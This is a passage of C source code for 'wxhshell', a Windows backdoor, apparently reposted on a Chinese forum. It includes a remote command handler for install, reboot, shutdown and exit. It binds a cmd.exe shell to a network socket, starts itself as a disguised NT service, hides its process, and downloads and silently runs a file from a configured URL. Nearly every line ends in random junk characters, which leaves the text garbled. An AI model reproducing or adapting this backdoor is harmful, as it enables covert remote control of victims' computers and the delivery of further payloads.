  } $=PWT-GIR  
  else { SUH mBo"}  
o~v_PD[S  
    switch(cmd[0]) { :W.jNV{e\F  
  0T9@,scY  
  // 帮助 Dd!Sr8L[  
  case '?': { ex` xkZ+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *'9)H 0  
    break; gEr4zae  
  } Si?$\H*:  
  // 安装 <i_> y~v`  
  case 'i': { x],8yR)R  
    if(Install()) [!1)mR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fw_ (q!  
    else )p$\gwr=2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M11"<3]D  
    break; 4meidKw]  
    } u(pdP"  
  // 卸载 1Yc%0L(  
  case 'r': { hD nM+4D  
    if(Uninstall()) _\ .  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xh.+pJl,*  
    else {fog<1c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U/T4i#  
    break; xT9Yes&  
    } H-eEhI(;O  
  // 显示 wxhshell 所在路径 ?mH@`c,fM  
  case 'p': { ],;D2]<s  
    char svExeFile[MAX_PATH]; p+, 1Fi  
    strcpy(svExeFile,"\n\r"); cQ8dc+ {  
      strcat(svExeFile,ExeFile); UI!6aVL.  
        send(wsh,svExeFile,strlen(svExeFile),0); g3|BE2?  
    break; v~ ^ks{  
    } 33Ssylno  
  // 重启 #/ OUGeJ  
  case 'b': { |h5kg<Zgo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I3Lg?bZ  
    if(Boot(REBOOT)) %mY|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CJzm}'NY  
    else { s~S?D{!  
    closesocket(wsh); zuUT S[  
    ExitThread(0); i]it5  
    } <=q*N;=T,  
    break; pu FXPw.3  
    } Y)$52m5rM  
  // 关机 ^9&b+u=X  
  case 'd': { wA?@v|,dZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CN$I:o04C  
    if(Boot(SHUTDOWN)) \r)%R5_CQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {IJ-4>  
    else { C&=x3Cz  
    closesocket(wsh); !G7h9CF|{  
    ExitThread(0); Ci;h  
    } xTW3UY  
    break; N<9w{zIK(  
    } "Dyym<J  
  // 获取shell d i!"IQAvK  
  case 's': { Tdg6kkJ  
    CmdShell(wsh); jvu N  
    closesocket(wsh); xN6>2e  
    ExitThread(0); wD`[5~C{  
    break; M]c7D`%s  
  } YzVN2f!n  
  // 退出 "37*A<+f  
  case 'x': { Q Q@9_[N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *5 e<\{!  
    CloseIt(wsh); }04Dg '  
    break; S|HY+Z6n'  
    } Ba<ngG !  
  // 离开 F&xv z2G  
  case 'q': { ;t}'X[U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z1F9$ ^  
    closesocket(wsh); &]w#z=5SXi  
    WSACleanup(); x8Q~VVZr  
    exit(1); l$F_"o?&S@  
    break; l{8CISO*  
        } Sa Cx)8ul0  
  } bZiyapM  
  } +4Q[N;[+*  
XTV0Le\f  
  // 提示信息 B$ui:R/ t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;TtaH  
} XJUEwX  
  } b7bSTFZxC  
_ j~4+H  
  return; oew|23Ytb  
} qmEoqU  
j~epbl)pC  
// shell模块句柄 0{Bf9cH  
int CmdShell(SOCKET sock) m$?.Yig?  
{ B~?c3:6  
STARTUPINFO si; *|oPxQCtK  
ZeroMemory(&si,sizeof(si)); F=srkw:*.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3!aEClRtq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?9p$XG  
PROCESS_INFORMATION ProcessInfo; =c&62;O  
char cmdline[]="cmd"; ^uhxURF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Vb2\/e:k  
  return 0; ZW>o5x__b  
} 4Q;<Q"  
NEMEY7De2  
// 自身启动模式 \7yJ\I  
int StartFromService(void) #pX8{Tf[  
{ wazP,9W?  
typedef struct pajy#0 U  
{ G.Tpl-m  
  DWORD ExitStatus; n'yl)HA~>`  
  DWORD PebBaseAddress; #7o0dE;Kg9  
  DWORD AffinityMask; *<r%aeG$em  
  DWORD BasePriority; |CwG3&8  
  ULONG UniqueProcessId; YZ< NP  
  ULONG InheritedFromUniqueProcessId; 7aQ n;  
}   PROCESS_BASIC_INFORMATION; 6GzzG P^  
:9`qogF>  
PROCNTQSIP NtQueryInformationProcess; 4`s)ue  
`y2ljIWJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \#++s&06  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3w6&&R9  
X'@'/[?  
  HANDLE             hProcess; RJx{eck%  
  PROCESS_BASIC_INFORMATION pbi; 3T1P$E" m  
+C_*Vs@4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2SciB*5  
  if(NULL == hInst ) return 0; t@)my[!  
8"i/wMP]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ENq"mwV|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =:gjz4}_8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ir27ZP  
)pS8{c)E  
  if (!NtQueryInformationProcess) return 0; g2=}G<*0  
\-OC|\{32  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D"cKlp-I6|  
  if(!hProcess) return 0; Z(HZB  
@^!\d#/M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _IxamWpX$  
/'4Q{8.a  
  CloseHandle(hProcess); ,T$r9!WTM  
=&2$/YX0D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0wFh%/:  
if(hProcess==NULL) return 0; n+?-�  
1"O&40l  
HMODULE hMod; IBET'!j4"  
char procName[255]; O: JPJ"!  
unsigned long cbNeeded; ({e7U17[#  
(;UP%H>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )[jy[[K(  
g/#~N~&  
  CloseHandle(hProcess); YBvd q1  
o@3B(j;J`  
if(strstr(procName,"services")) return 1; // 以服务启动 /UHp [yod  
,d cg?48  
  return 0; // 注册表启动 )b92yP{  
} E eB3 }  
t#5:\U5r.  
// 主模块 TEWAZVE*  
int StartWxhshell(LPSTR lpCmdLine) Pbe7SRdr^  
{ M"(6&M=?  
  SOCKET wsl; sJ~P:g  
BOOL val=TRUE; c&*l"  
  int port=0; {y6C0A*  
  struct sockaddr_in door; 5 `=KyHi:b  
t77'fm  
  if(wscfg.ws_autoins) Install(); Ea]T>4  
v459},!P  
port=atoi(lpCmdLine); Q]#Z9H  
76u{!\Jo/{  
if(port<=0) port=wscfg.ws_port; ^f|<R8`  
-~O/NX  
  WSADATA data; V#J"c8n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J`<f  
+"uwV1)b"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <d"Gg/@a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0`n 5x0R  
  door.sin_family = AF_INET; 8=F%+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jDTUXwx7V  
  door.sin_port = htons(port); hnzNP\$U]  
c~+l-GIWm  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DA=1KaJ.  
closesocket(wsl); B< hEx@  
return 1; gxmc|  
} .C= I^  
e$|VG* d  
  if(listen(wsl,2) == INVALID_SOCKET) { o&$hYy"<.L  
closesocket(wsl); fHfY}BQS  
return 1; 2~FPw{]j  
} |I^y0Q:K  
  Wxhshell(wsl); !SF^a6jT  
  WSACleanup(); {mSJUK?TKl  
8lwM{?k$  
return 0; %F J#uQXZ  
_Adsq8sFW  
} p{.8_#O%S  
M#a&\cqC  
// 以NT服务方式启动 {/ &B!zvl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h8 =h >W-  
{ Qra>}e%*  
DWORD   status = 0; RmOyGSO  
  DWORD   specificError = 0xfffffff; 4seciz0?  
f#P_xn&et  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x?L hq2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O2v.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5pJ*1pfeo  
  serviceStatus.dwWin32ExitCode     = 0; L~eAQR  
  serviceStatus.dwServiceSpecificExitCode = 0; b Us|t  
  serviceStatus.dwCheckPoint       = 0; t5) J;0/  
  serviceStatus.dwWaitHint       = 0; $]*d#`Sy{%  
~/|zlu*jpc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _tj&Psp  
  if (hServiceStatusHandle==0) return; gs`> C(  
[5Y<7DS  
status = GetLastError(); <&U!N'CE  
  if (status!=NO_ERROR) qks|d_   
{ D9-Lg%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (q~0XE/ a  
    serviceStatus.dwCheckPoint       = 0; ;'3]{BGcU  
    serviceStatus.dwWaitHint       = 0; )ooWQ-%P  
    serviceStatus.dwWin32ExitCode     = status; &N\[V-GP2G  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0=;YnsY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N E= w6  
    return; gX,9Gh  
  } 2[up+;%Y  
&&PgOFD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bx>i6 R2  
  serviceStatus.dwCheckPoint       = 0; HmV /> 9  
  serviceStatus.dwWaitHint       = 0; ~E*d G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z+3 9ee  
} R2LK.bTVn  
Y&~M7TYb  
// 处理NT服务事件,比如:启动、停止 xo WT*f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wPnybb{  
{ *{5>XH{ x  
switch(fdwControl)  Oh`2tc-  
{ NHkL24ve  
case SERVICE_CONTROL_STOP: 1q]c7"  
  serviceStatus.dwWin32ExitCode = 0; AuCWQ~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FT/amCRyT  
  serviceStatus.dwCheckPoint   = 0; }Bff,q  
  serviceStatus.dwWaitHint     = 0; U8O(;+  
  { zj%cQkZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1S%}xsR0  
  } \+Y!ILOI  
  return; GDPo`# ~  
case SERVICE_CONTROL_PAUSE: HFS+QwHW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SLoo:)  
  break; rAXX}"l6s  
case SERVICE_CONTROL_CONTINUE: |Td5l?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FC}oL"kk  
  break; g-@h>$< 1  
case SERVICE_CONTROL_INTERROGATE: Nl*i5 io  
  break;  r(`nt-o@  
}; 7& 6Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cwynd=^nC  
} %EI<@Ps8c  
DU{bonR`  
// 标准应用程序主函数 @ yxt($G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z nXejpj)D  
{ N[k<@Q?*a  
vv/J 5#^,\  
// 获取操作系统版本 7co`Zw4}g  
OsIsNt=GetOsVer(); d^84jf.U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OD+5q(!"a  
P(h5=0`*PR  
  // 从命令行安装 i2`0|8mw'  
  if(strpbrk(lpCmdLine,"iI")) Install(); N5 n>  
/#t&~E_|  
  // 下载执行文件 0*7*RX  
if(wscfg.ws_downexe) { 8A{6j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7X'y>\^w^>  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;NsO  
} vWY(%Q,  
cZQu*K^j  
if(!OsIsNt) { "=|t~`  
// 如果时win9x,隐藏进程并且设置为注册表启动 'IQsve7cI  
HideProc(); QzthTX<  
StartWxhshell(lpCmdLine); .>]N+:O  
} OVswt  
else dZ2`{@AYY  
  if(StartFromService()) 8$}OS-  
  // 以服务方式启动 Oif,|:  
  StartServiceCtrlDispatcher(DispatchTable); Vxh.<b6&'  
else :oa9#c`L  
  // 普通方式启动 Y<LNQ]8\G  
  StartWxhshell(lpCmdLine); h&'=F)5  
1D{#rA.X  
return 0; O&$0&dhc  
}
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只看该作者 1 发表于: 2006-10-10
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